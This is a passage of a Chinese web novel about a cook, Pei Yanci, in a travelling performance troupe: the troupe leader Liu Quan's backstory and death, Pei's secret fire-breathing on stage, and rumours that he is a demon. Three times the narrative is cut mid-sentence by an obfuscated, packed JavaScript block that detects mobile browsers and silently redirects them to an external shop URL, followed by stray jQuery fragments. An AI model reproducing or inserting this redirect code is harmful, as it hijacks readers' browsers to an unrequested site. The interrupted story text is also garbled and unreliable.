柳荃特地叮嘱过伙计，莫要吵醒裴宴辞，让他多歇会。只在床头搁下字条，要他午时去城东送饭。 睡眼惺忪地醒来，裴宴辞洗漱后，坐在榻边给小腿上药。这烫伤膏倒是有神效，他伤得这般重，若是用寻常伤药，怕是早便化脓了。 而如今伤口边缘生出粉色的嫩肉，已是有愈合的迹象。 昨日柳子领他熟悉过灶房，班子显然没有烧菜要用当天食材的意识，角落里都是日前余下的洋芋和大白菜。 房梁下悬着一灰不溜秋的物什，起初他还以为是块抹布，凑近一瞧，见那竟是块生了毛的腊肉。 裴宴辞：“……” 腊肉大概还是前任屋主留下的，他解开绳子搁在案板上，菜刀削去发霉的部分。内里肉质暗红，溢出腊味特有的咸香。 还能用。 一会得靠脚走着去送饭，不宜做汤水多的菜品，免得半道撒了。 他掰下几片白菜叶铺在盘底，片好的腊肉覆在白菜上，端上笼屉蒸。白菜浸在腊肉蒸出的油水中，不放什么佐料也尤为鲜美。 戏班子好几张嘴等着用饭，所幸大米管够。 他在篓筐里挑挑拣拣，撇开生了芽的洋芋，捡出几枚尚且能吃的，洗净去皮，切丁，锅里放入一勺猪油，和鸡蛋腊肉丁一同翻炒。 等洋芋炒至半软不硬，闷好的米饭再下锅。 粒粒分明，裹满油脂的炒饭装入铺着油纸的木桶里，主食便妥了，裴宴辞又犯了难。 戏班子忙活一上午，只腊肉一道菜，哪能叫他们用得过瘾。可食材实在匮乏，也不知班子这几日都吃些什么过活。 正当他翻箱倒柜之际，门外有人唤道：“裴小哥。” 昨日见过的伙计提着条鳜鱼，嘴里直喘粗气，满额汗珠都来不及揩：“大伙想吃清蒸鳜鱼，柳娘便让我将这鱼送来。” 鳜鱼是让鱼贩提前宰好的，内脏都去了，裴宴辞掂了掂，大概一斤多。此地临河，水产也便宜。 那伙计着急忙慌的：“班子那边还有得忙，我得回了。记着，午时前送去，下午还有一台戏。” 说罢，他瞬间没了影。恰好腊肉也蒸熟了，裴宴辞将葱段塞入鱼腹里，上笼屉蒸。 待一切就绪，清蒸鲈鱼与腊肉装入另只木桶，再放几个瓷碗，随后他扛着扁担出门。木桶保温，再者现下是初夏，等大伙吃上时饭菜还能是温热的。 裴宴辞鲜少驻足戏台前，只幼时娘亲领他瞧过几回，他那时心智懵懂，以为江湖艺人都是会仙术的，还叫那些人脸上的傩面具吓哭过。 将饭菜搁在临时搭的帐子里，见台上戏还未结束，他心底不免新奇，便蹲在后台张望。 地上躺着一伙计，厚重石板压在胸前。铁皮攥着那把始终不离手的大锤，朝台下吆喝道：“各位，瞧好了。” 说罢，大锤抡下。 人群皆屏住呼吸，更有胆小者合上双眼，生怕目睹血肉模糊的场景。 砰。 石砾飞溅。 等再睁眼，石板已然断成两截，那伙计却毫发无伤，甚至胸口皮肤上连些许红痕都没有，铁皮在满座叫好中得意地吐了口气。 他人不咋地，技艺倒是没得说。一身腱子肉，却懂得如何收敛力道。 柳子猫着腰，于人潮中穿行，面上挂着讨好的笑：“列位看官，班子初到贵宝地，借一方风水，献几手薄技，还望各位捧个人场。” 现下人们还未从铁皮那出戏中回神，心绪高涨，毫不吝惜地掷出铜板。他瞅准了这个时机，讨赏的行径便也并不叫人反感，待从人群另一端头挤出时，手上布兜已是沉甸甸的。 铁皮下台，见了裴宴辞，大手往他肩头使劲一挥：“小子，如何，哥哥手艺不赖罢？瞧你这傻样，眼睛都直了。” 裴宴辞被拍的趔趄一下，因着昨日之事，他对铁皮仍有怨怼。憋着口气，半晌未曾吱声。 “还有气呢？”铁皮笑得露出满嘴黄牙，“你有所不知，我们柳大当家怀胎时便丧夫了，这么多年来独自拉扯柳子成人。你虽嫩了些，但面皮子生得好，许是能讨她欢心的。” 柳荃于他有恩，裴宴辞又岂能容忍铁皮说这不着调的话，正欲呛他几句，却见对方面色倏然僵住了。 “哥哥得去帮着隼儿预备下场戏，就不多待了。”铁皮瞥见远处走来的那道身影，慌忙敛了笑意，一头栽进帐子里。 “宴辞。” 柳荃靠近裴宴辞，笑意温和：“他又同你说什么了？莫气，日后我好生惩戒他。” 裴宴辞哪里好意思再转述一遍，若是叫他将那荒唐的言语说出口，怕是话还未说尽，他便羞愤地恨不得一头撞死了。 “无事。” 有什么事，裴宴辞惯常自己扛下。而柳子较他要大上几岁，仍是离不开娘亲，凡事都要她做主。思及此处，柳荃无奈摇头，还是不打算纠结于此。 “午饭可备妥了？” 裴宴辞点头：“在帐子里。” 闻言，柳荃拦住路过的伙计：“盯着点铁皮，莫让他偷吃。” 二人说话的当头，又有一手握火把的男子上台。他嘴边泛着油光，油渍沿着脖颈淌进领口中。 柳荃：“他便是阿燎。” 阿燎在震天响的鼓声中迈着极有韵律的步伐，他将火把衔在齿间，那橘焰好似叫他制服了，乖顺地不曾蔓延到皮肉上。 而后，他嘴里猛然吐出一簇冲天火光，映红人们面上的惊诧。 裴宴辞出神地盯着：“那是…” 若说他能吐火是天生特能，那阿燎凭借的则是实打实的技艺。 “阿燎自幼便苦心钻研这喷火之术，衔火把时，须得屏息凝神，倘若反向引火至气道里，人也就废了。起初他使得是水，待练就吐水成雾后，方能用火。” 柳荃轻咳一声，顿住，望向裴宴辞的目光中染上一抹深意，“十年磨一剑，操练时难免遭火燎伤，因而他惯常备着烫伤药。” 裴宴辞并未捕捉到她眼底的暗光，一抹妃色衣袖撞进他余光里，将其吸引回台上。 鼓点逐渐柔和而细腻，隼儿面戴瓷白面具，一袭罗裙翩然从天而降，足尖踏着空气，翩跹起舞，好似绽放于春日里的牡丹。 台下之人一同爆发惊叹，不愧是压轴戏码，若说铁皮与阿燎还在寻常人的范畴内，那隼儿这一出可谓玄乎，人又怎能在空中游走呢。 莫非这是轻功？ 舞毕，隼儿旋腰，一挥衣袖，红纸裁剪的花瓣洋洋洒洒落下。不知谁先起了头，人们呐喊着一拥而上，铆足了劲去够那纸屑，只盼讨个彩头。 那妃色衣料下似有银光掠过，裴宴辞定眼一瞧，这下可叫他瞧出了些门道。隼儿关节处系着缕缕丝线，不甚明显，丝线虽细，却牢固得很，吊着她这般久也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165390|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未见断裂的迹象。 另端系着铁皮，他在戏台帷幕后，面色涨得通红，满额汗珠也腾不出手去揩。 此方受力，他整个身体往前压，膝盖跪在地上，片刻都未曾松懈。倘若丝线松了，隼儿可得在地上砸个结实。 丝线嵌入皮肤中，若非铁皮皮糙肉厚，怕是得见血了。他后槽牙几乎要咬碎，齿间泄出一声痛骂：“这小妮子又贪食了，沉了不少。” 裴宴辞见他身上被勒出了红痕，有些于心不忍：“他一人行么，可要叫人搭把手？” “不必管他。”柳荃抽着旱烟，淡漠神色隐在雾气中，“倘若力道分散，隼儿反倒会乱了手脚。班子里当属他吃得最多，满身横肉，还撑不起一小丫头么？” 柳子灰头土脸的，遭人群挤得够呛，为了讨得打赏也算是倾尽全力。他将布兜递给柳荃，一挥眼前烟气，盯着烟杆时眉头蹙起：“娘，不是同你说过少抽点么，伤身。” 那不耐的眸光又凝在裴宴辞面上，好似在怨他未劝阻自己的娘亲。裴宴辞心底喊冤，他哪有那么大的面子，敢管到柳荃头上。 “都半截身子入土的人了，还谈何伤身呢。”话是这么说，可柳荃仍收起烟杆，唇角扯出宽慰的弧度，“人都散了，唤大伙用饭罢。” 闻言柳子面色不大好，嘴唇翕动几瞬，到底什么也没说，转身回了帐子。 柳荃不着痕迹地叹了口气，从布兜里取出几文钱交与裴宴辞：“宴辞也留下用饭罢，回去路上买些食材，咱们晚上吃顿好的。” 隼儿雀跃地跑进帐子，现下她面上未经遮掩，唇红齿白，竟是比裴宴辞还要年幼。她蹿到木桶前，嘴里一刻不停：“饿了饿了，让我尝尝裴哥的手艺。” 铁皮叫苦连天：“小姑奶奶，你可少吃点罢。” 他昨日大言不惭，说一口不吃裴宴辞烧的吃食，现下正欲去街上买俩饼子垫垫。可桶盖甫一掀开，那四散的香气却叫他生生止住了脚步。 好香。 要不就死皮赖脸地蹭一口罢。 正要坐下，铁皮一眼瞥见彩帛底下探出的蛇首，面色一白，忙不迭往外蹿去。 隼儿缩在马扎上扒饭，柳子夹了块鱼腹上最鲜嫩的肉给她，眸光柔和：“无事，多吃些。铁皮若撑不住你了，还有我呢。” 她脸颊塞得鼓鼓囊囊，甚是可爱：“柳娘，你是从哪个酒楼寻来的裴哥，这手艺，可谓一绝。” 鳜鱼被翻了个面，鼓油沁满鱼肉的纹理，几筷子下去，瞬间只余骨架，连鱼鳍都被伙计们瓜分了。 “宴辞若是哪个酒楼的厨子，我怕是请不来他了。”柳荃搁下碗，笑道，“大隐隐于市。” 她说着，面色倏然一沉，口中爆发出猛烈的咳嗽。她用帕子掩嘴咳了好一会，柳子饭也不吃了，起身扶住她：“娘…” 裴宴辞也心里一紧：“可是鳜鱼太辣了？” 应该不至于，他只放了少许红椒点缀，自己吃着也并不觉得辣。 “无事，许是染了风寒。”柳荃偏头回避柳子的目光，帕子塞回荷包里，“我去外头透口气，宴辞，劳烦你收拾碗筷了。” 柳子不放心，也随她出去。 炒饭见底，众人吃饱喝足，离开去预备下午的戏，裴宴辞正收拾残羹，此时铁皮鬼鬼祟祟地进了帐子。 见柳荃不在，他夺过对方手上装鱼的碟子，指尖捏起骨架翻来覆去地瞧。 “这伙饿死鬼，连鱼头都没给哥哥我剩下。”他大骂一声，只好黑着脸，掰碎饼子蘸了汤汁咽下。 14. 柳荃·上 时过境迁，戏班子辗转各地，裴宴辞离开故乡许久，在那里遇见的人或物，都化作消弭于脑海中的泡影。只在见到柳荃与柳子时，方想起自己同爹娘温存的片刻。 他个子蹿得比铁皮还高，后者也不再同他说那些粗俗的玩笑话，只是有时会望着他那白生生的面颊调侃。 “日日送饭，倒一点没晒黑，不愧是小白脸。” 年岁渐长，内里仅存的傲气也被连根拔起。裴宴辞本就是绵软温吞的性子，尽管柳荃待他极好，同对方待在一起时，他亦不禁幻视娘亲的身影。 但柳荃待他再好，毕竟也不是亲生娘亲，他无法心安理得地领受对方的好意。 柳荃当年承诺会护着他，也的确是极尽所能地照应了他。所幸班子里多数人都不是爱惹是生非的性子，又吃人嘴软，裴宴辞也并未遭受欺辱。 这般时日叫他满足，若一辈子都这样，倒也是极好的。 至于柳荃此人，她的故事还是隼儿来讨要吃食时不经意说漏了嘴，裴宴辞方能拼凑个大概。 柳荃出身茅山柳家。 柳家是做蛇胆生意的，她自幼便晓得如何驭蛇。 这驭蛇之法倒不是某种法术，而是用柳家世代相传的药粉，与蛇磨合数年后，即便不再使用药粉，也能让蛇对自己言听计从。 赤便是伴她最久的一条蛇。 后来柳家家道中落，柳荃嫁作人妇，不过数月便怀上身孕，结果丈夫走镖时意外遭山贼杀害。 苗疆人多养蛇蛊，中原却不兴这股风气，夫家本就对她养蛇之事颇有微词，这下倒好，径直闯入灵堂指着她鼻尖骂，就是因为爱养这邪门玩意，克死了丈夫。 柳荃又岂是软弱的性子，当下便扯掉粗麻丧服，狠狠往棺材上啐了口唾沫后，头也不回地离开了。 人到底是要吃饭的，何况她还怀有身孕，两张嘴等着喂。变卖嫁妆换得的钱数日便花光了，身上除了一窝蛇以外，什么也没有。 不，反倒该说，还好有蛇。 柳荃开始卖艺为生。 街头多了位坐在草席上的女子，面前放着一陶罐。路人见她大着肚子，以为是叫花子，不免心生怜悯，便在草席上搁下铜板。 她摇摇头：“在此卖艺，不白要钱。若你觉得好，便打赏一二。” 这地界多有街头艺人，演的不过是诸如胸口碎大石之类的寻常戏码。见她有身孕，人群循声而来，欲瞧瞧她有何把戏。 揭开面前的陶罐，里头赤红蠕动，柳荃给那枚铜板串上红绳，扔进罐中。人们抻长脖子，只见绞在一起的赤蛇如同肠道般，瞬间吞没了铜板。 她合上盖子，指节一扣陶罐，闭眼，嘴里念念有词。旋即她清明的眸光落在先前给她铜板的那人身上，手一指：“摸摸你的荷包。” 那人起初还没当回事，随意地探入荷包摸索一阵，却蓦地变了脸色。众人惊疑眼神中，他手心凭空多了枚串着红绳的铜板，正是柳荃扔进陶罐的那枚。 柳荃仍是盘腿坐在草席上，面色风轻云淡。 她分明半根手指头都没挨着过那人的荷包，又是如何隔空传物的，光天化日之下，竟有此等怪事。 “你是托儿罢？” “你可是事先在荷包里藏了枚同样串着红绳的铜板，凭这种不入流的把戏，还想骗得大伙的赏钱？” 人群炸了锅，面临超脱认知的事物时，他们下意识地会去寻找更为贴合常理的解释。 “我没有，我都不认得她…”那人千夫所指，百口莫辩。干脆不去辩了，他双手一摊，“若信不过我，你们便自己试试。” …… 那日柳荃挣了很多，也是那日，她萌生了开一家戏班子的念头。 恰逢几日后，有人寻了过来。 那人便是铁皮。 铁皮领一伙计，在街头演了几年胸口碎大石。可这胸口碎大石毕竟不是什么稀罕戏码，新鲜劲过了，也讨不着多少赏钱。 他听闻柳荃这出偷梁换柱的本事，又是独身一人，便想着借借东风。 他们磨合数日，在城内小有名气。 铁皮光棍一条，晓得柳荃是位寡妇，遂起了小心思，同对方说干脆搭伙过日子得了，他也会将那肚里的孩儿视如己出。 “不要。”当时柳荃斜他一眼，不顾铁皮眼中迸出的火光，嫌恶道，“你生得太丑了。” 之后… 之后便是铁皮初次挨赤蛇咬。 柳荃在那年冬日诞下一子，她怀胎时未得悉心照料，又吃得简陋，生下的孩子瘦得像猴崽儿，尚在襁褓里时还大病一场，险些夭折。柳荃让他同自己姓，为好养活，取了一个贱名，唤作柳子。 柳子毕竟流着柳家的血脉，自幼便对这驭蛇之术十分痴迷，赤也很是亲近他。 等再大些，一日，班子方下戏台，他鬼鬼祟祟地将一兜钱塞给柳荃，颇有要邀功的意思。 柳荃当即便沉下脸：“哪来的？” “我命赤摸来的。”柳子得意极了，“那群老爷们荷包里满是银子，给的打赏就那么点，实在小气。放心罢，娘，他们未曾发觉。” 柳荃平日最是疼爱孩儿，也鲜少动怒，那日却对他挥起了鞭子。柳子被抽得满地乱蹿，瘦弱的脊背上尽是血痕，帐子里的哭嚎声响到子时。 铁皮在帐外踱步，饶是他也听不下去了，正欲劝阻，柳荃却一扬鞭子，眸底冷得不像话：“我可从未教过这逆子行偷盗之事，你同他说过什么了？” 铁皮一阵心虚，他出身低微，儿时混迹于贫民窟，小偷小摸乃是家常便饭，喝得五迷三道之际也同柳子胡侃过几句，没成想这小子倒是往心里去了。 见柳荃大有要同他一起抽的架势，这下铁皮可不敢再拦，赶忙溜了。 柳荃算是悟了，此子受铁皮熏陶，已是心术不正。若再让他修习这诡谲之术，只怕日后会化作捆在脚腕上的镣铐，于是乎她禁止柳子再驭蛇，将讨赏的活扔给对方。 任凭柳子如何哀求，自那以后，他一次也没有踏上过戏台。 戏班子一路南下，行至蜀地。途中吸纳不少人，也有不少人离开，阿燎便是那时来的。 一日班子于荒废破庙中借宿，天还未亮，庙外响起阵虚弱的啼哭声，开门一瞧，门外竹篮里竟蜷缩着一婴孩。 搁在襁褓上的字条写了出生日子，还有婴孩的乳名。 隼儿。 “杀千刀的，连个姓氏都没有，想还都不知该上哪还去。”铁皮抱起婴孩哄着，压低嗓音骂那对早就溜没影的爹娘。 他从前时常照顾柳子，哄孩童很有一手，不多时，哭声便逐渐停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165391|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歇了。 柳荃唤柳子熬些米汤，揭开襁褓瞧了眼：“就是为了叫你找不着地方还，所以不写姓氏的。” 那年头多有遗弃女婴之事，既扔在破庙外，便是打定主意不想再要回去。 “晓得庙里有人，当咱们是冤大头呢。在佛祖眼皮子底下干这破事，世世代代都得遭天谴。”铁皮皱眉，“这该如何是好，若将她留在此地，怕是连今日都捱不过去。” 隼儿冻得小脸煞白，喂过米汤后，嘴唇逐渐泛起血色。 柳荃：“带着罢。” - 说到这里，隼儿轻叹：“柳娘待我可是如同自家孩儿一般好，我不懂事时，还以为她就是我亲生娘亲。” 她又叮嘱裴宴辞，这些事到这里便终了，莫要再同他人言道。 裴宴辞听得唏嘘，不曾想柳娘竟和他有着如出一辙的遭遇，也身负克死亲人的骂名。 末了，隼儿搁下碗，面色有些羞赧：“裴哥，我就要同柳子哥成婚了。” 裴宴辞倒没有太意外，隼儿和柳子的亲密无间整个戏班子皆有目共睹，二人也算是青梅竹马，郎情妾意。 隼儿亦到了该成亲的年纪，她褪去稚嫩，个子如开花结实的稻穗般窜高，铁皮一人都拉不住她了，得柳子在一旁帮衬才行。 “何时成婚？” “再过阵子罢。”隼儿敛了笑意，眉目间染上愁绪，“你晓得的，柳娘近日身体不大好。至少等她好些，我们再成婚。” 闻言，裴宴辞也没心情同她唠了。二人坐在马扎上，安静地盯着灶下将熄未熄的炉火。 柳荃咳嗽总好不利索，人也消瘦不少。柳子为她请了几回大夫，都没瞧出什么名堂，只随意写些药方，并叮嘱她莫要再抽旱烟了。 “抽了数十年，哪是说戒便能戒的。”隼儿苦笑，“不让她抽，她便避着大伙抽。有回让柳子哥撞见了，气得当场折了她的烟杆。” 柳子因着她的病，时常阴沉着脸，唯独面对隼儿时会好上一些。大伙都不太敢靠近他，唯恐触了霉头。 柳荃用药后仍不见好，干脆同柳子说莫要再寻医了，戏班子挣钱不易。柳子又哪里会依，听闻城内有位名医，在医馆前守了三日，今早方请来对方。 大伙守在卧房门前，只柳子和隼儿在房内候着大夫诊脉。片刻后，只听里头响起一声怒喝，隼儿红着双眼出来了。 “大夫怎么说？”裴宴辞喉头滚动一下。 “他说治不好，柳子哥发了好大的火。”隼儿揉揉酸涩的眼眶，控制不住哽咽，“大夫说…柳娘得的是肺积，他也无能为力。” 裴宴辞怔住。 “裴哥，你说肺积是什么啊，我都未曾听闻过这种病。”隼儿唇边泄出一丝哭腔，她揪住裴宴辞的衣摆，好似拽住深水中的浮木，泪水打湿前襟，“柳娘好好的一个人，从未行过一件恶事，怎么就治不好了呢？” 裴宴辞说不出话，他的爹爹和娘亲，也未曾行过一件恶事。都说苍天有眼，可阎王落笔之时，真的能瞧见那人的善恶么。 他从前店里有位熟客也患上了肺积，不过几月便走了。 柳荃还有多少时日？ 恍惚之间，裴宴辞好似又回到了跪在爹娘坟前的那日。 是不是对他好的人，注定得不到善终？ 15. 柳荃·下 柳子走出卧房，尚未褪尽湿润的眼瞳盯着裴宴辞：“娘要见你。” 名医的话好似一剂慢性毒药，自那日起，柳荃病症一落千丈。不过数月，她再也不能下床，止疼药草亦压不住胸腔内逐渐蔓延的疼痛。 屋棚底下停着棺材，厚重油布覆在上头，遮住众人不愿面对的，既定的现实。 柳荃见了裴宴辞，勉强挤出笑意。她双颊深深凹陷，上翘的嘴角嵌入皮肤的沟壑中，好似在哭. 这个骄傲的女子，已不复当年裴宴辞初见她的模样。 “柳娘。”裴宴辞轻声唤她。 “宴辞，你长大了。”柳荃浑浊的眸光停在他面上，细细描摹那褪去青涩的轮廓，“我都不曾发觉，你竟已这么大了。” 她开始咳嗽，裴宴辞俯身翻找食盒，不忍去瞧那帕子上晕开的血痕：“我炖了山药粥，多少用点罢。” 熬得软烂的粥递到唇边，柳荃却只嗅到鼻腔里衰朽的血腥气，她哪里还吃得下东西，不过为了宽慰对方，勉强梗着脖颈抿了一口：“还是这般好吃。” 瓷勺染上血丝，也染红裴宴辞的眼眶。他搁下碗，握住柳荃的双手，指腹小心地摩挲着上头枯槁的纹路。 “宴辞，从见你第一眼我就晓得，你同我是一类人。”柳荃柔和的目光落进他眼底，一如初见，“就算只吊着一口气，也不肯在他人面前示弱。” “柳子依附我太久，我也没能教会他什么，他…尚不能成事。”她眼睑萎靡地垂下，“我毕生心血都倾注在这戏班子上，宴辞，你可否应允柳娘，莫要让班子倒了。” 裴宴辞不知该如何开口，柳荃许是病糊涂了，他不过是个厨子，又能做什么？ 手掌一松，柳荃抽手，指尖在他唇边点了点。 裴宴辞猛地怔住，心头霎时五味杂陈。 原来柳荃都晓得了，那个被掩藏在心底的秘密，那个从不对外人言道的秘密，她早就晓得了。 当初被崔老七摁在身下，口中未曾吐出的火星，最终还是落进了她的眼底。 所以，柳荃当初接纳他，究竟是因着善意与怜悯，还是早就料到了这一日？ 裴宴辞忽地喘不上气了，逼仄卧房内，墙壁好似铺天盖地地压下，叫他再也不能支起腰杆。 “宴辞，你会怨我么？”柳娘终是淌下眼泪，眼白攀附的血丝宛若红砖瓦上的裂隙，“只因我的私心，让你远离故乡，让你扛下这荒唐的夙愿。” 裴宴辞垂着脑袋，衣摆的轮廓逐渐化作扭曲的光影。 谁没有私心呢？ 何况柳荃对他很好，好到他恍惚以为自己又有娘亲了。 他不可避免地又想起娘亲。 倘若娘亲当初有可以托付的人，想来也是会有这般私心的。只不过裴父出事后，从前惯常巴结裴家的亲朋好友，如今避他娘俩如避蛇蝎，只留下尚且年幼的他孤苦伶仃，娘亲便撒手人寰了。 这般夙愿，兜兜转转，又落回他手中。只不过，现下他成了被嘱托的那个人。 再抬头时他已泣不成声：“我答应您。” 柳荃终是安心了。 裴宴辞望着自己映在她眼中的倒影，见它逐渐黯淡无光，最终被垂下的眼皮隔在外头，再也瞧不见了。 他俯身跪在榻前。 砰。 房门被撞开。 柳子像是预感到了什么，跌跌撞撞地进来，腿一软跪倒在地。膝盖像是没有痛感似的，他匍匐着靠近榻边，满目惶然之中只有柳荃了无声息的尸体。 “娘——” - 柳荃走后，戏班子失了主心骨，就快要垮了。伙计离了大半，包括阿燎，也是，倘若能寻得正经活计，谁还会跟着班子风餐露宿。 操办白事后，班子的那点积蓄见底了，柳子头发都愁得白了大片，裴宴辞时常见他坐在马扎上唉声叹气。 他起初便晓得，柳子不喜欢他。这种厌恶在柳荃离去后更甚，许是因着柳荃最后一眼瞧见的是他，又或是对方打心底里认为，是他克死了自己的娘亲。 不过大抵是柳荃生前交代过什么，他并未撵走裴宴辞，也应许日后挣钱了，工钱照发不误。 裴宴辞也不会离开。 他应允过柳荃，自然不会食言。 隼儿自白事后便不曾出过房门，和柳子的婚事一延再延，最终谁也没再说起。 铁皮心里着急，二人正当嫁娶年纪，耽搁不得。他在这事上倒是意外的守旧，寻去隼儿房里想说道说道，可一见对方那病恹恹的模样，话到嘴边又咽了回去。 裴宴辞好似患上了癔症，夜里一人待在房间时，总觉要被墙壁吞了。后来他时常点灯歇息，铁皮偶然起夜时见他屋里的暖黄光晕亮到天光，还来问过一回。 爹爹，娘亲，现在又是柳荃，他身边下个遭遇不幸的人会是谁？ 除了送饭，他不再和班子的人打交道，好似同住屋檐下的生人，生怕让谁染上自己的晦气。 他有时会荒唐地想，当初不让那老道进门就好了，如若这般，他的命途轨迹就会不同似的。 先有鸡还是先有蛋，这个因果关系他到现在也没捋明白，亦或是潜意识里不想捋明白。 一日他照例去戏台送饭，搁下食盒便想离开，却无意间瞥见戏台下萧条的景象。隼儿全然是强撑着在演出，不复昔日容光，连掷出的花瓣都似是打了蔫。 人群皆是摇头，散了大半，柳子一张脸都快笑僵了，也没讨得多少赏钱。 若是柳荃还在，见此该有多心痛。裴宴辞瞧了好一会，久到脚底都像是生了根，他攥紧拳头，拦住路过的铁皮：“让我上台罢。” “你？”铁皮瞪大眼打量他，笑了，“你上去做甚，颠勺么？” “柳娘一走，一个二个都傻了。”铁皮笑得支不起腰，末了，又胡乱揩了揩眼尾渗出泪花，“班子还没死全呢，你个厨子上去凑什么热闹。” 他抬脚要走，却被扯住衣袖，回头见裴宴辞盯着他，一字一句道：“让我上台罢。” 铁皮张嘴，脏字滚到嘴边又叫他咽了回去。 柳子灰头土脸的出现在视野中，裤腿上尽是泥，他暗叹一声，罢了。 “去罢，我倒要瞧瞧，你能耍出什么花样。” 台下之人面色不霁，心想今日属实是来寻了晦气，不知道的还以为在操办丧事。 正欲离开，却见戏台又上一男子，皮相倒是生得好极了。 都浪费这般久的时间了，也不差这一会功夫。尽管不抱太大期望，众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165392|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍是停下脚步，一同望去。 裴宴辞套着铁皮随手给找的，不太合身的戏服，上头彩帛点缀，同柳荃那件有些相似。 柳子在台下诧异地盯着他。 头回登上戏台，他颇有些手足无措。迎着众人翘首以盼的目光，他勉强稳住心神，深深吸了口气。 起初是零星火点子，伴随呼出的热气，火苗现于唇齿间。而后火势愈演愈烈，倏然爆发出一片橘红色的焰团，隔着漫天火光，裴宴辞听见满座惊叹。 与阿燎不同，他并未借助火把，便可凭空吞吐烈焰。柳子回神，赶忙用布袋兜住人们指缝间落下的铜板。 铁皮傻眼：“这小子…” 裴宴辞从未吐出过这般大的火焰，连自己都有些被惊着了。舒缓片刻，听闻台下意犹未尽的叫好声，他又再度重现方才那幕。 浮荡彩帛映着通红火光，衬得他好似一只浴火重生的凤凰。 戏台落幕，裴宴辞脚步虚浮地下来，方有落到地上的实感。柳子拎着沉甸甸的布兜靠近，上下打量他几眼：“你为何会…” 裴宴辞抿紧嘴唇，有一说一，他也不知该作何解释。 “算了，伎俩也好，法术也罢，我不多过问。班子有规矩，莫要细究他人的技艺。”柳子见他不说话，干脆作罢。 今日讨得不少赏钱，卸了数月来压在心头的重担，连着他面色也好上几分，“你倒是深藏不漏，想来娘当初领你至戏班，也是因着这一缘由。” 不说还好，柳子的话好似兜头给他泼了盆凉水，被掐灭的芥蒂又生根发芽了。裴宴辞白了脸，愣怔地杵在原地，下唇烙着几枚深红色的齿印。 柳子还以为他是乏了，一拍对方肩头：“用饭罢。” 柳氏班子彻底打出名声，无论途径何处，都有大批人前来欲亲眼瞧瞧这凭空吐火的戏码，班子再次吸纳不少伙计。 日子重归正轨，甚至比之前还要好。柳子盘下一方宅院，想着干脆抓紧时间将婚事办妥了，免得夜长梦多。 裴宴辞正往门上贴囍字，柳子找到他：“这些给铁皮他们干罢，我有话同你说。” “辛苦了，你现下替了阿燎的戏，还要忙着给咱们做饭，理应给你双份工钱。” 裴宴辞没要。 “端着做甚，娘在天有灵，不晓得的还以为班子亏待你了。”柳子不由分说地将一摞铜板塞进他荷包里，“这阵子忙得晕头转向，大伙都没吃上口热乎饭。你且去外头买些食材，听闻你从前是开锅子店的，今夜便吃锅子罢。” 末了，他又叮嘱道：“莫忘了买鱼，隼儿爱吃。让掌柜的片好，到时一同放入锅子里。” 裴宴辞前脚离开，铁皮后脚就踏入院门。他面色铁青，见了柳子，朝对方使了个眼色，示意去里屋说。 确保院里没人，铁皮轻手轻脚合上房门。柳子见他沉着张脸，笑道：“怎的这般紧张，身后有鬼撵你啊？大喜的日子就要到了，你可莫再给我生出事端。” 铁皮深吸口气，不知该如何开口，分明是他有话要同柳子说，却半晌不曾吱声。 柳子有种不好的预感，敛了笑意，不耐道：“怎的了，你倒是说啊。” 叫他一催，铁皮终是动了嘴。 “柳子，不好了。” 16. 斩妖 “什么叫不好了？”柳子蹙眉，铁皮惯常直肠直肚的性子，究竟何事会叫他这般支吾，“你倒是一口气说完，甭一个字一个字地往外蹦。” 铁皮匀了口气：“现在城里都在传，说，说咱们班子里有妖物。” “妖物？”柳子嗤笑，“荒唐，这院里连只牲畜都未养，何来妖物？莫要听风便是雨，许是有人瞧咱们挣得多，眼红呢。” 铁皮搓着手，脑门上尽是汗，闻言仍未安心。这时柳子想起什么，面色暗了一瞬：“你是指…裴宴辞？” 见对方不作声，柳子慌了神：“怎么会，这实在荒谬。裴宴辞同我们生活数年，若他是妖，怎么可能瞒得住？” “你就从未怀疑过么，他为何能凭空吐火，这同阿燎可不是一回事儿。”铁皮压低声音，“柳子，到了现在，你也莫怪我不守规矩。我旁敲侧击问过了，结果他自己都说不出个所以然。” 柳子仍不愿相信。 “你也晓得，干我们这行的，最是忌讳和他人说这些，兴许只是他不愿告诉你呢。” “这么多年了，你还不熟悉那小子么，他是会撒谎的性子么？” 说罢，他瘫坐木椅上，好似泄劲所有力道。是了，都这么多年了，谁能受得了身边之人竟是妖物。 柳子也坐下了，里屋陷入死寂，只余铁皮粗重的呼吸声。良久，他吐出口气：“现下，流言散布到何种程度了？” “我打听过，连…官府的人都晓得了。你说这叫什么事啊，柳子，咱们要不干脆打发些银两，让他离开得了。” 